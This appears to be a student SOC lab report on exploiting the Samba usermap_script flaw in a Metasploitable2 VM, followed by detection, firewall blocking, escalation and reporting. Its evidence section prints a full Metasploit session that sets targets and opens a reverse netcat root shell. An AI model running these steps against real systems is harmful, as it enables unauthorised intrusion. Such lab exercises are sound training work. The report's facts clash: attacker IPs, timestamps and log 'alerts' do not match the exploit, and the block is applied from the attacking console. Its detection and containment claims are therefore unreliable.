1. Attack Simulation:

The Samba usermap_script vulnerability was successfully exploited via Metasploit, which led to unauthorized root-level access on the target machine.

2. Detection & Triage (Manual Simulation):

Alerts were manually derived from system logs and attack traces due to SIEM unavailability.

Timestamp	Source IP	Alert Description	MITRE Technique
2026-04-02 13:08:42	192.168.1.101	Suspicious external connection attempt (HTTP request)	T1071
2026-04-02 13:08:42	192.168.1.101	XML parsing with remote resource (possible exploit)	T1203
2026-04-02 13:08:43	192.168.1.101	Service exposed on port 8009 (AJP protocol)	T1046

Explanation: The logs have shown suspicious activity, including attempts to make external HTTP connections and XML parsing, which could be related to exploitation attempts. The presence of the AJP service on port 8009 makes the system vulnerable.

3. Response & Containment:

The attacker's IP address was successfully blocked using firewall rules (iptables), and connectivity was verified to be terminated through ping tests and network monitoring.

Timestamp	Source IP	Action taken	Status
2026-04-02 13:15:00	192.168.1.101	Blocked using iptables	Successful

Immediate containment was achieved by isolating the malicious IP, preventing further unauthorized access.

4. Escalation:

Incident Case ID: SOC-001

Severity: High

Status: Escalated

Date: 02 April 2026

Affected System: Metasploitable2

Attacker IP: 192.168.1.101

Attack Type: Samba Exploit

Summary:

A high-severity security incident was identified involving unauthorized access to a vulnerable Samba service on a Metasploitable2 system. The attacker, originating from IP address 192.168.1.101, exploited a known vulnerability using the usermap script module in Metasploit. This resulted in unauthorized shell access to the system. Detection was performed through manual log analysis and network monitoring due to SIEM limitations. Immediate containment actions were taken by blocking the attacker's IP using firewall rules. The incident has been escalated to Tier 2 for further forensic investigation and root cause analysis.

Evidence:

- Metasploit exploit

```
msf > search samba usermap

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf > use exploit/multi/samba/usermap_script

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) >
msf exploit(multi/samba/usermap_script) > use exploit/multi/samba/usermap_script
[*] Using configured payload cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.56.104
RHOST => 192.168.56.104
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Exploit completed, but no session was created.
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.56.106
LHOST => 192.168.56.106
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.56.106:4444
[*] Command shell session 1 opened (192.168.56.106:4444 -> 192.168.56.104:42306) at 2026-04-02 13:16:51 -0400

whoami
root
```

- netstat output

```
msf exploit(multi/samba/usermap_script) > netstat -antp
[*] exec: netstat -antp

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5601          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:6060          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9201            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:32949         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:41612         127.0.0.1:8080          ESTABLISHED -
tcp        0      0 10.0.2.15:37998         10.0.2.15:9200          ESTABLISHED -
tcp        0      0 127.0.0.1:8080          127.0.0.1:41612         ESTABLISHED -
tcp        0      0 10.0.2.15:39370         10.0.2.15:9200          ESTABLISHED -
tcp        0      0 10.0.2.15:46256         10.0.2.15:9200          ESTABLISHED -
tcp        0      0 10.0.2.15:52360         10.0.2.15:9200          TIME_WAIT   -
tcp        0      0 10.0.2.15:59138         10.0.2.15:9200          ESTABLISHED -
tcp        0      0 192.168.56.106:4444     192.168.56.104:42306    TIME_WAIT   -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:9300          :::*                    LISTEN      -
tcp6       0      0 ::1:9300                :::*                    LISTEN      -
tcp6       0      0 :::9200                 :::*                    LISTEN      -
tcp6       0      0 :::9201                 :::*                    LISTEN      -
tcp6       0      0 10.0.2.15:9200          10.0.2.15:39370         ESTABLISHED -
tcp6       0      0 10.0.2.15:9200          10.0.2.15:59138         ESTABLISHED -
tcp6       0      0 10.0.2.15:9200          10.0.2.15:46256         ESTABLISHED -
tcp6       0      0 10.0.2.15:9200          10.0.2.15:37998         ESTABLISHED -
```

- syslog entries

```
tail -f /var/log/syslog

Apr  2 13:08:42 metasploitable jsvc.exec[4566]: nu.xml.stream.XMLParser.resolve(libgcj.so.81)    at gnu.xml.stream.XMLParser.pushInput(libgcj.so.81)    at gnu.xml.stream.XMLParser.readDoctypeDecl(libgcj.so.81)    at gnu.xml.stream.XMLP
arser.next(li
Apr  2 13:08:42 metasploitable jsvc.exec[4566]: bgcj.so.81)    ...23 more Caused by: java.net.UnknownHostException: jakarta.apache.org:80    at gnu.java.net.PlainSocketImpl.connect(libgcj.so.81)    at java.net.Socket.connect(libgcj.so.
81)    at jav
Apr  2 13:08:42 metasploitable jsvc.exec[4566]: a.net.Socket.connect(libgcj.so.81)    at gnu.java.net.protocol.http.HTTPConnection.getSocket(libgcj.so.81)    at gnu.java.net.protocol.http.HTTPConnection.getOutputStream(libgcj.so.81)
 at gnu.java.
Apr  2 13:08:42 metasploitable jsvc.exec[4566]: net.protocol.http.Request.dispatch(libgcj.so.81)    at gnu.java.net.protocol.http.HTTPURLConnection.connect(libgcj.so.81)    at gnu.java.net.protocol.http.HTTPURLConnection.getInputStream
(libgcj.so.81
Apr  2 13:08:42 metasploitable jsvc.exec[4566]: )    at java.net.URL.openStream(libgcj.so.81)    at gnu.xml.stream.XMLParser.resolve(libgcj.so.81)    ...26 more
Apr  2 13:08:43 metasploitable jsvc.exec[4566]: 2-Apr-26 1:08:43 PM org.apache.jk.common.ChannelSocket init INFO: JK: ajp13 listening on /0.0.0.0:8009
Apr  2 13:08:43 metasploitable jsvc.exec[4566]: 2-Apr-26 1:08:43 PM org.apache.jk.server.JkMain start INFO: Jk running ID=0 time=0/81  config=null
Apr  2 13:08:43 metasploitable jsvc.exec[4566]: 2-Apr-26 1:08:43 PM org.apache.catalina.storeconfig.StoreLoader load INFO: Find registry server-registry.xml at classpath resource
Apr  2 13:08:43 metasploitable jsvc.exec[4566]: 2-Apr-26 1:08:43 PM org.apache.catalina.startup.Catalina start INFO: Server startup in 3696 ms
Apr  2 13:09:01 metasploitable /USR/SBIN/CRON[4724]: (root) CMD (  [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -r -0 rm)
Apr  2 13:12:50 metasploitable dhclient: DHCPREQUEST of <null address> on eth0 to 192.168.56.100 port 67
Apr  2 13:12:50 metasploitable dhclient: DHCPACK of 192.168.56.104 from 192.168.56.100
Apr  2 13:12:50 metasploitable dhclient: can't create /var/lib/dhcp3/dhclient.eth0.leases: Permission denied
Apr  2 13:12:50 metasploitable dhclient: bound to 192.168.56.104 -- renewal in 255 seconds.
```

- iptables block proof

```
msf exploit(multi/samba/usermap_script) > sudo iptables -A INPUT -s 192.168.56.106 -j DROP
[*] exec: sudo iptables -A INPUT -s 192.168.56.106 -j DROP

msf exploit(multi/samba/usermap_script) > sudo iptables -L
[*] exec: sudo iptables -L

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  192.168.1.101        anywhere
DROP       all  --  192.168.56.106       anywhere

Chain FORWARD (policy DROP)
target     prot opt source               destination
DOCKER-USER  all  --  anywhere             anywhere
DOCKER-FORWARD  all  --  anywhere             anywhere

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain DOCKER (2 references)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             172.18.0.2           tcp dpt:9200
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere

Chain DOCKER-BRIDGE (1 references)
target     prot opt source               destination
DOCKER     all  --  anywhere             anywhere
DOCKER     all  --  anywhere             anywhere

Chain DOCKER-CT (1 references)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED

Chain DOCKER-FORWARD (1 references)
target     prot opt source               destination
DOCKER-CT  all  --  anywhere             anywhere
DOCKER-ISOLATION-STAGE-1  all  --  anywhere             anywhere
DOCKER-BRIDGE  all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere

Chain DOCKER-ISOLATION-STAGE-1 (1 references)
target     prot opt source               destination
DOCKER-ISOLATION-STAGE-2  all  --  anywhere             anywhere
DOCKER-ISOLATION-STAGE-2  all  --  anywhere             anywhere

Chain DOCKER-ISOLATION-STAGE-2 (2 references)
target     prot opt source               destination
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
```

Escalation Reason:

Because of the severity of the unauthorized root-level access and system compromise, this incident requires advanced analysis and further investigation by Tier 2 analysts.

Assigned To: Tier 2 SOC Team

Priority: High

Action Required: Deep log analysis, malware check, root cause analysis

Note: Escalation was performed manually by documenting the incident and forwarding it to Tier 2 analysts, simulating a real SOC workflow in the absence of TheHive platform.

5. Reporting:

Executive Summary:

A simulated cyberattack was conducted on a vulnerable Metasploitable2 system. The attacker exploited a Samba vulnerability to gain unauthorized access.

Timeline:

- 14:00: Exploit initiated
- 14:01: Unauthorized access gained
- 14:02: Suspicious activity detected via logs
- 14:05: System isolated and attacker blocked

Analysis:

Due to Wazuh SIEM unavailability, detection was performed manually through system logs and attack outputs. Indicators of compromise included unusual login attempts and unauthorized command execution.

Recommendations:

- Deploy a functional SIEM solution like Wazuh
- Regular patching of services
- Implement firewall rules and IDS
- Continuous monitoring of logs

6. Briefing:

A simulated cyber attack was conducted on a system, and it was successfully defended against. The process involved an unauthorized access attack, whereby an attacker was able to access a system through an existing vulnerability. The system logs were used to identify the attack, and immediate action was taken to stop the attacker and isolate the system. Although we were unable to utilize our automated monitoring tool (Wazuh), we were able to respond to the attack. The importance of monitoring tools and system updates has been highlighted. Steps to improve security to prevent such attacks in the future have been proposed.